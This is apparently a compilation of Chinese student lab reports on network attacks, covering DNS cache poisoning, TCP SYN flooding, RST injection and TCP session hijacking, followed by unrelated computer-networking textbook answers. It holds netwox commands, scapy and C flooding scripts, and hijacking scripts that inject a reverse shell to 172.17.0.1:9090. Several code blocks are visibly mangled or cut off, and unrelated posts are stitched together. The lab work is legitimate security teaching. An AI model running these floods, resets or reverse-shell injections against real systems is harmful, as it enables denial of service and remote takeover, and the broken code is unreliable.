    to study the algorithem and what part should be taken into the calculation.
    
    !!!!!If you change anything related to the calculation of the checksum,you need to re-
    calculate it or the packet will be dropped.!!!!!
    
    Here things became easier since I wrote the checksum function for you. You don't need
    to spend your time writing the right checksum function.
    Just for kNowledge purpose,remember the seconed parameter
    for UDP checksum:
    ipheader_size + udpheader_size + udpData_size  
    for IP checksum: 
    ipheader_size + udpheader_size
    *********************************************************************************/
    
        // Inform the kernel do not fill up the packet structure. we will build our own...
        if (setsockopt(sd, sizeof(one)) < 0) {
            printf("error\n");
            exit(-1);
        }
    
        while (1) {
            // This is to generate different query in xxxxx.example.com
            // 对不同的xxxxx.example.com的前缀xxxxx进行随机生成
            // int charnumber;
            // charnumber = 1 + rand() % 5;
            // *(data + charnumber) += 1;
            char alpha[]="abcdefghijklmnopqrstuvwxyz";
            for(int k=1;k<=5;++k){
                data[k]=alpha[rand()%26];
            }
    
            udp->udph_chksum = check_udp_sum(buffer, packetLength - sizeof(struct ipheader)); // recalculate the checksum for the UDP packet
    
            // send the packet out.
            if (sendto(sd, strerror(errno));
            sleep(0.9);
            //构造响应包
            geneResponse(data);
        }
    
        close(sd);
    
        return 0;
    }
    

    上述代码中,在 main() 函数中构造了一个DNS查询报文,由攻击机发送给本地DNS服务器,其中查询的域名为 xxxxx.example.com,其中前五个字符会随机生成.
    紧接着,在 geneResponse() 函数中,不断伪造DNS系统中IP为 192.5.6.30 的主机发送给本地DNS服务器的对请求域名的响应报文. 由于是远程DNS攻击,因此无法获知DNS中的ID(query_id),因此在函数中需要不断随机生成,以达到生成的ID和实际本地DNS服务器发送的DNS查询报文的ID相同的目的,从而使得本地DNS服务器将攻击机伪造的报文作为真实报文存入缓存,这样就攻击成功了.

  3. 本地DNS服务器: 经多次攻击尝试,攻击成功时查看本地DNS服务器的缓存,可以看到缓存中已经存有了伪造的权威名称DNS服务器.

    在这里插入图片描述

  4. 客户机: 攻击成功时,使用 dig www.example.com 命令查询该域名,本地DNS服务器就会将攻击机作为权威名称服务器,得到预先在配置中设置的IP地址 1.1.1.1.

在这里插入图片描述

8. 总结

心得体会,以及对本实验的意见和建议

[计算机网络安全实验] TCP协议漏洞利用

[计算机网络安全实验] TCP协议漏洞利用

TCP协议漏洞利用

1. IP说明

你的用户机IP、目标机(服务器)IP、攻击机IP

用户机IP: 172.17.0.2
目标机(服务器)IP: 172.17.0.3
攻击机IP: 172.17.0.1

2. SYN Flooding攻击 - netwox

netwox进行TCP SYN-Flooding攻击
(1)利用netwox工具,列出你的攻击命令。
(2)关闭syn-cookies选项,攻击前用户机访问目标机效果,攻击中用户机访问目标机效果,文字和截图进行说明;
(3)  打开syn-cookies选项,攻击前用户机访问目标机效果,攻击中用户机访问目标机效果,文字和截图进行说明

攻击命令:

$ sudo netwox 76 -i 172.17.0.3 -p 23

关闭syn-cookies攻击:

  1. 服务机: 初始状态,首先关闭tcp的 syncookies,以方便后续实验. 同时使用 netstat 查看服务器的连接状态,可以看到初始没有连接.

    在这里插入图片描述


    接下来打开服务器的 ftp 和 telnet 服务

    在这里插入图片描述

  2. 客户机: 初始状态,客户机尝试登录服务机 172.17.0.3 的 telnet,可以正常登录

    在这里插入图片描述

  3. 服务机: 此时查看连接状态,发现和客户机 172.17.0.2 建立了一条tcp连接

    在这里插入图片描述

  4. 攻击机: 此时攻击机使用netwox进行syn floodying进行攻击,使用命令:
    $ sudo netwox 76 -i 172.17.0.3 -p 23
    

    在这里插入图片描述

  5. 客户机: 此时客户机再尝试 telnet 登录服务机,发现一直卡在尝试连接处

    在这里插入图片描述

  6. 服务机: 再次查看连接状态,发现有大量连接请求,状态均为 SYN_RECV

    在这里插入图片描述

  • 说明: 由于关闭了 syn-cookies,服务器在建立半开连接时也会分配资源,从而使得服务器资源耗尽,使得无法计时响应服务器的连接请求

打开syn-cookies

  1. 服务机: 查看 SYN cookie 标志,可以见到其值为0. 然后将 SYN cookie 打开.

    在这里插入图片描述

  2. 攻击机: 再次尝试攻击服务机,
  3. 客户机: 客户机可以正常使用telnet登录服务机

    在这里插入图片描述

  4. 服务机: 服务机查看连接,可以发现同样有大量连接建立.

    在这里插入图片描述

  • PS: 服务机由于开启了 SYN cookie,虽然收到了攻击机发送的请求大量报文并尝试与其建立连接,但是与不开启相比,服务机并不是在发送第二次握手信息后紧接着分配资源,而是根据请求的 syn 包计算出一个 cookie,只有在收到第三次握手时校验 cookie 合法后才为该连接分配资源,因而服务器不会由于攻击者的大量请求连接而拒绝服务.

3. SYN Flooding攻击 - scapy

scapy进行TCP SYN-Flooding攻击
(1)利用scapy进行攻击,提交scapy脚本
(2)关闭syn-cookies选项,攻击前用户机访问目标机效果,攻击中用户机访问目标机效果,文字和截图说明;
 (3)  打开syn-cookies选项,攻击前用户机访问目标机效果,攻击中用户机访问目标机效果,文字和截图说明;

scapy 脚本

#!/usr/bin/python2
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits

a = IP(dst="172.17.0.3")	# server IP
b = TCP(sport=1551, dport=23, seq=1551, flags='S')
pkt = a/b

while True:
    pkt['IP'].src = str(IPv4Address(getrandbits(32)))
    send(pkt, verbose = 0)

关闭syn-cookies

  1. 服务机,客户机: 初始状态和1中相同,客户机可以正常使用telnet连接服务机,服务机和客户机 172.17.0.2 建立了一条tcp连接

    在这里插入图片描述

  2. 攻击机: 使用 scapy 编写攻击脚本,目标为服务机 172.17.0.3,然后执行脚本

    在这里插入图片描述


    在这里插入图片描述

  3. 客户机: 此时客户机尝试与服务机连接,发现可以连接上,但一直没有显示Login.

    在这里插入图片描述

  • PS: 使用scapy进行 SYN flooding 的效果没有 netwox 好,过一段时间实际上会出现 login 字符登录.
  1. 服务机: 此时服务机查看连接状态,发现有大量 SYN_RECV 状态连接

    在这里插入图片描述

  • 说明: 由于关闭了 syn-cookies,使得无法计时响应服务器的连接请求

打开syn-cookies:

  1. 服务机: 查看 SYN cookie 标志,可以见到其值为0. 然后将 SYN cookie 打开.

    在这里插入图片描述

  2. 攻击机: 再次尝试使用 scapy 脚本攻击服务机
  3. 客户机: 客户机可以正常使用 telnet 登录服务机

    在这里插入图片描述

  4. 服务机: 服务机查看连接,可以发现同样有大量连接建立

    在这里插入图片描述

4. SYN Flooding攻击 - C

C程序进行TCP SYN-Flooding攻击
(1)关闭syn-cookies选项,攻击前用户机访问目标机效果,攻击中用户机访问目标机效果,文字和截图说明;
 (2)  打开syn-cookies选项,攻击前用户机访问目标机效果,攻击中用户机访问目标机效果,文字和截图说明;
(3)提交C代码片段(修改部分)

关闭syn-cookies

  1. 服务机,客户机: 初始状态和上述攻击方式的初始状态相同,在此不再展示.
  2. 攻击机:
    编写并编译C语言程序,C语言程序中主要是通过死循环不停构造目的IP地址是服务机IP的 tcp 请求数据包,来实现 SYN flooding.

    在这里插入图片描述


    编译运行程序

    在这里插入图片描述

  3. 客户机: 此时客户机再尝试 telnet 登录服务机,发现一直卡在尝试连接处

    在这里插入图片描述

  4. 服务机: 再次查看连接状态,状态均为 SYN_RECV

    在这里插入图片描述

C代码

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>

#include "myheader.h"

#define DEST_IP    "172.17.0.3"	//srver ip 
#define DEST_PORT  23  // Attack the web server
#define PACKET_LEN 1500

unsigned short calculate_tcp_checksum(struct ipheader *ip);
void send_raw_ip_packet(struct ipheader* ip);


/******************************************************************
  Spoof a TCP SYN packet.
*******************************************************************/
int main() {
   char buffer[PACKET_LEN];
   struct ipheader *ip = (struct ipheader *) buffer;
   struct tcpheader *tcp = (struct tcpheader *) (buffer +
                                   sizeof(struct ipheader));

   srand(time(0)); // Initialize the seed for random # generation.
   while (1) {
     memset(buffer, 0, PACKET_LEN);
     /*********************************************************
        Step 1: Fill in the TCP header.
     ********************************************************/
     tcp->tcp_sport = rand(); // Use random source port
     tcp->tcp_dport = htons(DEST_PORT);
     tcp->tcp_seq   = rand(); // Use random sequence #
     tcp->tcp_offx2 = 0x50;
     tcp->tcp_flags = TH_SYN; // Enable the SYN bit
     tcp->tcp_win   = htons(20000);
     tcp->tcp_sum   = 0;

     /*********************************************************
        Step 2: Fill in the IP header.
     ********************************************************/
     ip->iph_ver = 4;   // Version (IPV4)
     ip->iph_ihl = 5;   // Header length
     ip->iph_ttl = 50;  // Time to live
     ip->iph_sourceip.s_addr = rand(); // Use a random IP address
     ip->iph_destip.s_addr = inet_addr(DEST_IP);
     ip->iph_protocol = IPPROTO_TCP; // The value is 6.
     ip->iph_len = htons(sizeof(struct ipheader) +
                         sizeof(struct tcpheader));

     // Calculate tcp checksum
     tcp->tcp_sum = calculate_tcp_checksum(ip);

     /*********************************************************
       Step 3: Finally,send the spoofed packet
     ********************************************************/
     send_raw_ip_packet(ip);
   }

   return 0;
}


/*************************************************************
  Given an IP packet,send it out using a raw socket.
**************************************************************/
void send_raw_ip_packet(struct ipheader* ip)
{
    struct sockaddr_in dest_info;
    int enable = 1;

    // Step 1: Create a raw network socket.
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

    // Step 2: Set socket option.
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
                     &enable, sizeof(enable));

    // Step 3: Provide needed information about destination.
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr = ip->iph_destip;

    // Step 4: Send the packet out.
    sendto(sock, ip, ntohs(ip->iph_len),
           (struct sockaddr *)&dest_info, sizeof(dest_info));
    close(sock);
}


unsigned short in_cksum (unsigned short *buf, int length)
{
   unsigned short *w = buf;
   int nleft = length;
   int sum = 0;
   unsigned short temp=0;

   /*
    * The algorithm uses a 32 bit accumulator (sum),adds
    * sequential 16 bit words to it,and at the end,folds back all
    * the carry bits from the top 16 bits into the lower 16 bits.
    */
   while (nleft > 1)  {
       sum += *w++;
       nleft -= 2;
   }

   /* treat the odd byte at the end,if any */
   if (nleft == 1) {
        *(u_char *)(&temp) = *(u_char *)w ;
        sum += temp;
   }

   /* add back carry outs from top 16 bits to low 16 bits */
   sum = (sum >> 16) + (sum & 0xffff);  // add hi 16 to low 16
   sum += (sum >> 16);                  // add carry
   return (unsigned short)(~sum);
}


/****************************************************************
  TCP checksum is calculated on the pseudo header,which includes
  the TCP header and data,plus some part of the IP header.
  Therefore,we need to construct the pseudo header first.
*****************************************************************/
unsigned short calculate_tcp_checksum(struct ipheader *ip)
{
   struct tcpheader *tcp = (struct tcpheader *)((u_char *)ip +
                            sizeof(struct ipheader));

   int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);

   /* pseudo tcp header for the checksum computation */
   struct pseudo_tcp p_tcp;
   memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));

   p_tcp.saddr  = ip->iph_sourceip.s_addr;
   p_tcp.daddr  = ip->iph_destip.s_addr;
   p_tcp.mbz    = 0;
   p_tcp.ptcl   = IPPROTO_TCP;
   p_tcp.tcpl   = htons(tcp_len);
   memcpy(&p_tcp.tcp, tcp, tcp_len);

   return  (unsigned short) in_cksum((unsigned short *)&p_tcp,
                                     tcp_len + 12);
}

5. TCP RST攻击 - netwox

用netwox进行TCP Reset 攻击
(1)Wireshark截包截图,截图中需要包含TCP首部关键信息;
(2)利用netwox工具,列出你的攻击命令(需要跟上面的Wireshark截图匹配);
(3)观察和解释:你的攻击是否成功?你怎么知道它是否成功?你期待看到什么?你观察到了什么?观察结果是你预想的那样吗?

Wireshark截图

使用netwox时无需关注数据包,因此此处未对具体数据包截图

netwox攻击命令

$ sudo netwox 78 -d docker0

攻击过程

  1. 攻击机: 初始状态启动 Wireshark 捕获数据包
  2. 客户机: 客户机使用 telnet 命令连接服务机

    在这里插入图片描述

  3. 服务机: 服务机上使用netstat命令可以看到与客户机(172.17.0.2)建立了一条tcp连接

    在这里插入图片描述

  4. 攻击机: 攻击机的Wireshark捕获到了客户机(172.17.0.2)与服务机(172.170.0.3)的报文

    在这里插入图片描述

  5. 攻击机: 使用 netwox 78 号工具进行RST攻击,设备是 docker0 网卡,即与客户机同网络的网卡

    在这里插入图片描述

  6. 客户机: 回车后就发现退出了telnet连接,且显示连接被外部主机关闭.

    在这里插入图片描述

  7. 服务机: 再使用netstat命令,已经没有与客户机的连接
  8. 攻击机: Wireshark截获到了伪造的RST包

    在这里插入图片描述

  9. 攻击成功: 攻击成功时客户机上的 telnet 连接会断开. 期待看到在 netstat 中客户机与服务器的tcp连接关闭,以及可以通过Wireshark中有RST包. 观察结果和预期相同.

6. TCP RST攻击 - scapy手动

用scapy进行TCP Reset手动 攻击
(1)Wireshark截包截图,截图中需要包含TCP首部关键信息;
(2)利用scapy工具,贴出你的scapy脚本(需要跟上面的Wireshark截图匹配)
(3)观察和解释:你的攻击是否成功?你怎么知道它是否成功?你期待看到什么?你观察到了什么?观察结果是你预想的那样吗?

Wireshark截图

在这里插入图片描述

脚本

reset_manual.py

#!/usr/bin/python3
from scapy.all import *

print("SENDING RESET PACKET.........")
ip  = IP(src="172.17.0.3", dst="172.17.0.2")
tcp = TCP(sport=23, dport=39188,flags="R",seq=3249877213)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)

攻击过程

  1. 攻击机,客户机: 初始状态与 任务二-1 中的相同,攻击机使用Wireshark捕获报文,客户机建立与服务机的telnet连接,在此不多赘述.
  2. 攻击机: 捕获到了客户机与服务机之间的报文,且下图为最后一个tcp报文,是客户机(172.17.0.2)发送给服务机(172.170.0.3)的,且得到了源端口号为 39188,目的端口号为 23,该报文的序列号为 3410403667,确认号为 3249877213,长度为 0. 具体图像见上面 Wireshark 截图
  3. 攻击机: 编写 scapy 脚本,其中构建的 IP 报文的源地址为服务机 172.17.0.3,目的地址为客户机 172.17.0.2. tcp报文构造一个 RST 包,其中端口号和序列号参考捕获的tcp报文,源端口为服务机端口 23,目的端口为客户机端口 39188,序列号时上述报文的确认号 3249877213.
  4. 攻击机: 执行脚本,显示成功发送了RST包

    在这里插入图片描述

  5. 客户机: 客户机显示连接被外部主机关闭.

    在这里插入图片描述

7. TCP RST攻击 - scapy自动

用Scapy进行TCP Reset自动攻击
(1)贴出你的scapy脚本;
(2)观察和解释:你的攻击是否成功?你怎么知道它是否成功?你期待看到什么?你观察到了什么?观察结果是你预想的那样吗?

scapy脚本

reset_auto.py

#!/usr/bin/python2
from scapy.all import *

SRC  = "172.17.0.2"		# client IP
DST  = "172.17.0.3"		# server IP
PORT = 23				# server port

def spoof(pkt):
    old_tcp = pkt[TCP]
    old_ip  = pkt[IP]

    #############################################
    ip  =  IP( src   = old_ip.dst , 	# server IP
               dst   = old_ip.src 		# client IP
             )
    tcp = TCP( sport = old_tcp.dport , 	# server port
               dport = old_tcp.sport , 	# client port
               seq   = old_tcp.ack,		# client->server ack
               flags = "R"
             ) 
    #############################################

    pkt = ip/tcp
    send(pkt,verbose=0)
    print("Spoofed Packet: {} --> {}".format(ip.src, ip.dst))

f = 'tcp and src host {} and dst host {} and dst port {}'.format(SRC, DST, PORT)
sniff(filter=f, prn=spoof)

攻击过程

  1. 客户机: 初始状态与 任务二-1 中的相同,在此不多赘述.
  2. 攻击机: 编写scapy脚本,自动填充IP和TCP报文来进行RST攻击
    其中,使用 sniff 函数来监听指定的报文,过滤条件为f,即监听源IP为客户机172.17.0.2,目标IP为服务机 172.17.0.3,端口号为 telnet 的 23 的报文.
    然后监听到报文后会调用 spoof 函数. 而 spoof 函数就是用来封装发送 RST 包的. 其中发送IP包的源IP就是捕获包的目的 IP,也就是服务机 IP; 目的 IP 是捕获包的源 IP,也就是客户机 IP; 然后发送 TCP 包的源端口号就是捕获包的目的端口号,即服务器的端口号; 目的端口号是捕获包的源端口号,即客户机的端口号; 然后序列号时捕获包的确认号,同时带有复位比特R.
    最后进行发送,即伪装成服务器发送给客户机一个 RST 包,关闭连接.
  3. 攻击机: 执行 scapy 脚本

    在这里插入图片描述

  4. 客户机: 客户机显示连接被外部主机关闭.

    在这里插入图片描述

8. TCP会话劫持攻击 - netwox

用netwox进行TCP 会话劫持攻击,包括注入普通命令和反向shell
(1)Wireshark截包截图;
(2)利用netwox工具,列出你的攻击命令(需要跟Wireshark截图匹配);
(3)观察和解释:你的攻击是否成功?你怎么知道它是否成功?你期待看到什么?你观察到了什么?观察结果是你预想的那样吗?

普通命令

Wireshark截图

在这里插入图片描述

netwox攻击命令

$ sudo netwox 40 --ip4-src 172.17.0.2 --ip4-dst 172.17.0.3 --tcp-src 39198 --tcp-dst 23 --tcp-seqnum 3039279538 --tcp-acknum 2771901797 --tcp-ack --tcp-window 227 --tcp-data "6c730d00"

攻击过程

  1. 客户机,攻击机: 初始状态与 任务二-1 中的相同,攻击机使用 Wireshark 捕获报文,客户机建立与服务机的 telnet 连接,在此不多赘述.
  2. 攻击机: Wireshark 捕获到了客户机和服务器之间的 telnet 数据包,找到服务器返回客户机的最后一个 telnet 数据包,来分析: 可以看到客户机的端口号为 39198,TCP 的序列号为 2771901766,确认号为 3039279538,TCP数据包长度为31字节. 可见上述 Wireshark 截图
  3. 攻击机: 根据上述截获的服务器到客户机的报文,使用 netwox 40 号工具伪造一个客户机到服务器的报文,来达到会话劫持的目的.
    其中,伪造的源IP即客户机IP 172.17.0.2,目的 IP 为服务器IP 172.17.0.3,源端口号由上述报文得到客户机端口号为 39198,目的端口号即服务器 telnet 端口号 23,tcp 的序列号为上述报文的确认号,即 3039279538; tcp的确认号为 上述报文的序列号2771901766+TCP报文长度31=2771901797,窗口大小为上述报文中获取的 227.
    此处伪造报文让服务器显示 ls 的执行结果,ls 转换成16进制并加上 \r 的16进制数得到 6c730d00,作为tcp的数据部分.
    使用 netwox 发送该伪造报文
  4. 攻击机: Wireshark 捕获到了攻击机伪造的TCP报文

    在这里插入图片描述


    同时也捕获到了服务器发送给客户机的telnet响应报文,可以看到Data部分就是ls执行的结果,劫持TCP会话成功.

    在这里插入图片描述

  5. 客户机: 劫持攻击成功后,客户机便于服务机失去了连接,表现出的现象为进程卡死,无法输入命令
  6. 攻击成功. 可以通过 Wireshark 截包得到伪造的客户机发送给服务器的数据包,同时捕获到服务器发送给客户端的执行了伪造报文后的响应数据包,如上图. 期待看到的就是有服务器发送给客户机的响应数据包. 观察到如下图的数据重发情况,以及客户机的 telnet 连接卡死的现象. 过程结果与预期相同.

    在这里插入图片描述

  • 上图分析: 劫持会话后会出现TCP重传的现象. 究其原因是因为攻击者伪装为客户机向服务器发送了报文,由于TCP是可靠的,因此服务器对伪造的报文响应telnet数据包后也需要得到客户机的确认响应. 但显然,真正的客户机并没有发送该报文,因此对服务器得到的tcp数据包予以丢弃并不进行确认,因此服务器需要多次重传该数据包

反向shell

Wireshark截图

在这里插入图片描述

攻击命令

$ sudo netwox 40 --ip4-src 172.17.0.2 --ip4-dst 172.17.0.3 --tcp-src 39464 --tcp-dst 23 --tcp-seqnum 3046193310 --tcp-acknum 395284271 --tcp-ack --tcp-window 227 --tcp-data "2f62696e2f62617368202d69203e202f6465762f7463702f3137322e31372e302e312f3930393020303c263120323e26310d00"

其中,数据为 /bin/bash -i > /dev/tcp/172.17.0.1/9090 0<&1 2>&1 的16进制形式

攻击过程

  1. 攻击机: 打开一个控制台执行命令: nc -l 9090 -v

    在这里插入图片描述

  2. 攻击机: 另一个控制台发送上述命令,然后成功劫持会话获得反向shell

    在这里插入图片描述

  3. 攻击机: 可以看到通过ip addr 以及 hostname 命令确认了当前shell是服务器的

    在这里插入图片描述

  4. 攻击成功. 可以通过 Wireshark 截包得到伪造的客户机发送给服务器的数据包,如上图. 期待看到的就是有服务器发送给客户机的响应数据包.同时,攻击机得到了服务器的 shell. 观察到如下图的数据重发情况,以及客户机的 telne t连接卡死的现象. 过程结果与预期相同.

    在这里插入图片描述

9. TCP会话劫持攻击 - scapy手动

用scapy进行TCP会话劫持 手动攻击,包括注入普通命令和反向shell
(1)Wireshark截包截图
(2)利用scapy工具,贴出你的scapy脚本(需要跟Wireshark截图匹配)
(3)观察和解释:你的攻击是否成功?你怎么知道它是否成功?你期待看到什么?你观察到了什么?观察结果是你预想的那样吗?

普通命令

Wireshark截图:

在这里插入图片描述

scapy脚本

hijacking_manual.py

#!/usr/bin/python2
from scapy.all import *

print("SENDING SESSION HIJACKING PACKET.........")

ip  = IP(src="172.17.0.2", dst="172.17.0.3")
tcp = TCP(sport=39222, flags="A", seq=1566209905, ack=2293856876)
data = "\n touch /tmp/myfile.txt\n"
pkt = ip/tcp/data
send(pkt, verbose=0)

攻击过程:

  1. 客户机,和 任务三-1 中分析方法一样,主要关注TCP报文中的端口号,序列号,确认号,报文长度,窗口大小等字段,在此不多赘述. 截图见上面Wireshark截图.
  2. 攻击机: 根据上述报文编写scapy脚本
    其中,伪造数据包的源IP为客户机IP,目的IP为服务器IP,同时按照上述截获报文设置了源端口,目的端口,序列号以及确认号(计算方法和 任务三-1 相同,在此不多赘述).
    其中,数据部分是使用 touch 命令新建在服务器 tmp 目录下创建 myfile.txt 文件.
    攻击机执行scapy脚本,发送了攻击数据包

    在这里插入图片描述

  3. 攻击机: Wireshark捕获到了攻击机伪造的TCP报文

    在这里插入图片描述


    同时也捕获到了服务器发送给客户机的telnet响应报文,可以看到Data部分就是服务器创建文件的命令.

    在这里插入图片描述

  4. 服务机: 此时在服务器列出 tmp 目录下的文件,可以看到有 myfile.txt,证明攻击者劫持会话成功.

    在这里插入图片描述

反向shell

Wireshark截图

在这里插入图片描述

scapy脚本

hijacking_manual_shell.py

#!/usr/bin/python2
from scapy.all import *

print("SENDING SESSION HIJACKING PACKET.........")

ip  = IP(src="172.17.0.2", dst="172.17.0.3")
tcp = TCP(sport=39472, seq=1572284240, ack=1730912667)
data = "\n/bin/bash -i > /dev/tcp/172.17.0.1/9090 0<&1 2>&1\n"
pkt = ip/tcp/data
send(pkt, verbose=0)

攻击过程

  1. 攻击机: 打开一个控制台执行命令: nc -l 9090 -v
  2. 攻击机: 另一个控制台执行脚本,然后成功劫持会话获得反向 shell

    在这里插入图片描述


    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IAkOMNd2-1668231412879)(_v_images/20210429113926187_21687.png =553x)]

10. TCP会话劫持攻击 - scapy自动

用Scapy进行TCP 会话劫持自动攻击,包括注入普通命令和反向shell
(1)贴出你的scapy脚本;
(2)观察和解释:你的攻击是否成功?你怎么知道它是否成功?你期待看到什么?你观察到了什么?观察结果是你预想的那样吗?

普通命令

scapy脚本

hijacking_auto.py

#!/usr/bin/python2
from scapy.all import *

SERVER_IP  = "172.17.0.3"
CLIENT_IP  = "172.17.0.2"
SERVER_PORT = 23


def spoof(pkt):
    old_ip  = pkt[IP]
    old_tcp = pkt[TCP]
    if Raw not in pkt:		# not telnet
    	return
    old_raw = pkt[Raw]		# data
    if not old_raw.load.endswith(':~$ '):	# not load 
    	return

    #############################################
    ip  =  IP( src   = old_ip.dst,
               dst   = old_ip.src
             )
    tcp = TCP( sport = old_tcp.dport,
               dport = old_tcp.sport,
               seq   = old_tcp.ack,
               ack   = old_tcp.seq+len(old_raw),
               flags = "A"
             )
    data = 'echo hijacking\r'
    #############################################

    pkt = ip/tcp/data
    send(pkt,verbose=0)
    ls(pkt)
    quit()

f = 'tcp and src host {} and dst host {} and src port {}'.format(SERVER_IP, CLIENT_IP, SERVER_PORT)
sniff(filter=f, prn=spoof)

攻击过程

  1. 攻击机: 初始状态使用 Wireshark 捕获报文
  2. 攻击机: 编写 scapy 脚本,自动填充IP和TCP报文来进行攻击,代码如下
    其中,主要使用sniff函数来捕获报文,过滤条件f是源IP是服务器IP,目的IP是客户机IP,源端口是 telnet 端口23.
    同时,在 sniff() 函数中设置回调函数 spoof(). 首先判断当前截获的数据包是否有数据包 Raw,如果没有的话就跳过,表明当前数据包不包括应用层的 telnet 数据. 然后判断 telnet 数据包中的数据(load)是否以字符串 :~$ 结尾,只有以该字符串结尾才能表明当前客户机成功登录到了服务器的 telnet,否则同样跳过该数据包.
    若判断当前客户机已经登录到了服务器 telnet,则发送伪造的数据包. 伪造数据包的源IP为接收包的目的IP,即客户机IP; 目的IP为接收包的源IP即服务器IP; 源端口为接收包的目的端口,即客户机的端口号; 目的端口号为接收包的源端口号,即服务器的端口号23.
    其中,应用层的数据包为 echo hijacking\r,即让服务器回显字符串 hijacking.
  3. 攻击机: 执行 scapy 脚本
  4. 客户机: 使用telnet连接服务器

    在这里插入图片描述

  5. 攻击机: 在客户机成功连接上服务器的同时,攻击机的 scapy 脚本就会发送攻击报文

    在这里插入图片描述

  6. 攻击机: Wireshark 成功捕获到了发送的伪造的报文

    在这里插入图片描述


    同时,也捕获到了服务器发给客户机的 hijacking 字符串的回显数据包,证明成功实现了自动TCP会话劫持.

    在这里插入图片描述

反向shell

scapy脚本

hijacking_auto_shell.py

#!/usr/bin/python2
from scapy.all import *

SERVER_IP  = "172.17.0.3"
CLIENT_IP  = "172.17.0.2"
SERVER_PORT = 23


def spoof(pkt):
    old_ip  = pkt[IP]
    old_tcp = pkt[TCP]
    if Raw not in pkt:		# not telnet
    	return
    old_raw = pkt[Raw]		# data
    if not old_raw.load.endswith(':~$ '):	# not load 
    	return

    #############################################
    ip  =  IP( src   = old_ip.dst,
               flags = "A"
             )
    data = '\n/bin/bash -i > /dev/tcp/172.17.0.1/9090 0<&1 2>&1\n'
    #############################################

    pkt = ip/tcp/data
    send(pkt, prn=spoof)

攻击过程

  1. 攻击机: 打开一个控制台执行命令: nc -l 9090 -v

    在这里插入图片描述

  2. 攻击机: 另一个控制台执行脚本,然后成功劫持会话获得反向shell

    在这里插入图片描述

《计算机网络·自顶向下方法》第七版 第一章 课后习题与问题 答案

《计算机网络·自顶向下方法》第七版 第一章 课后习题与问题 答案

非官方答案,本人已尽最大努力,使结果正确,如有错误,请大佬指出

<br><br><br>

正文: ###1.1节 ####R1 在计算机网络中,主机就是端系统 举例:PC,手机,服务器,网络电视 WEB服务器是一种端系统 ####R2 A protocol is a rule which describes how an activity should be performed, especially in the field of diplomacy. In diplomatic services and governmental fields of endeavor protocols are often unwritten guidelines. Protocols specify the proper and generally accepted behavior in matters of state and diplomacy, such as showing appropriate respect to a head of state, ranking diplomats in chronological order of their accreditation at court, and so on. One definition is:

Protocol is commonly described as a set of international courtesy rules. These well-established and time-honored rules have made it easier for nations and people to live and work together. Part of protocol has always been the acknowledgment of the hierarchical standing of all present. Protocol rules are based on the principles of civility.

大体意思就是说,外交协议是指在外交事务中,一种非书面形式的,被各国认为是适当的并普遍接受的一种国际礼节规则,有助于各国人民和谐共处 ####R3 如果两个端系统发送和接受信号的标准不同,双方可能并不能正常通信。这样会导致网络中的各个端系统不能互联。 同理,如果是两个局域网中使用的标准不同,那么两个网络也可能不能正常通信。(事实上IP可能会屏蔽这种差异,目前还没学到这一块,今后会回来补充) 由此可见,协议规定的标准是互联网协议能够正常运作的保证。

###1.2节 ####R4 书中一共介绍了以下接入技术: 数字用户线(DSL)、电缆、光纤到户(FTTH)、拨号、卫星、以太网、WIFI、蜂窝移动网络 数字用户线(DSL)、电缆、光纤到户(FTTH)、拨号、卫星、以太网、WIFI为家庭接入 以太网、WIFI为企业接入 蜂窝移动网络为广域接入 ####R5 HFC 混合光纤同轴 在HFC中,用户间的传输速率是共享的。 下行信道中不会发生碰撞,因为只有电缆头端发出信号 但是上行信道中可能发生碰撞,需要一个分布式多路访问协议来协调传输和避免碰撞(P11) ####R6 懒得查 不得不说,我家WiFi确实不太行,英雄联盟100ms的延迟,只能下下棋了 这是我家WIFI的上网方式设置,找了半天这个管理页面也没给我什么有用的信息,也不敢乱点。。。 WIFI ####R7 这个题应该是超纲了,第一章没有详细介绍这一点 不过还是能找到一两句话回答这个问题: 基于IEEE 802.11技术的无线LAN接入,今天提供了高达100Mbps的共享传输速率 显而易见的是,不同的协议与技术提供的传输速率是不同的。 ####R8 以太网是一种局域网技术,既然如此,只要可以同于局域网的物理媒体应该都可以答上吧: 双绞铜线、同轴电缆、光纤、陆地无线电信道应该都可以,但是目前我还不知道他们具体应用在那些地方 但是可以肯定他们都存在于局域网中 百度百科:网线是连接局域网必不可少的。在局域网中常见的网线主要有双绞线、同轴电缆、光缆三种。 而使用WIFI的话,肯定会用到陆地无线电信道 ####R9 ●拨号调制解调器在书里应该没出现过,有兴趣的网友自己去查一下 ●HFC:DOCSIS2.0定义了42.8Mbps的下行速率和30.7Mbps的上行速率 ●DSL:[ITU 1999]定义了12Mbps的下行速率和1.8Mbps的上行速率 [ITU 2006]定义了55Mbps的下行速率和15Mbps的上行速率 ●FTTH:书上没写,我也就不采用网上的说法了,但是按照常识,FTTH一般比以上三者都要快

总结一下,不同的技术之间,有相对的快慢关系,但是具体来说,还是要看各个技术使用的协议版本,实际一点来说,你交给ISP的钱,也决定了你的网速。 还有一个问题就是传输速率是共享还有专用的,我认为并没有一项技术可以使传输速率完全专用,即使在用户端,相当一段物理距离的信道被用户单独占有,但是当分组发送到网络中心时,总要与他人共享信道。 ####R10 最为流行的当然是WIFI和蜂窝移动网络了。

name WIFI 蜂窝移动网络
范围 局域网 广域网
速率 100Mbps 20Gbps(5G)
物理媒体 陆地无线电信道 陆地无线电信道
价格 较低 较高

###1.3节 ####R11 存储转发分组方式是指交换机转发分组的第一个比特之前,必须先获得整个分组 所以答案是: $L/R_1+L/R_2$ ####R12 贴一段百度知道的回答:电路交换网络的优点 (1)数据直达传输,延迟小,具有很强的实时性。 (2)双方通信是有序的,不存在失序问题。 (3)该种交换方式既可以用于传输模拟信号,也可用于传输数字信号。(?) 第三点看起来有道理,但是书上找不到佐证了

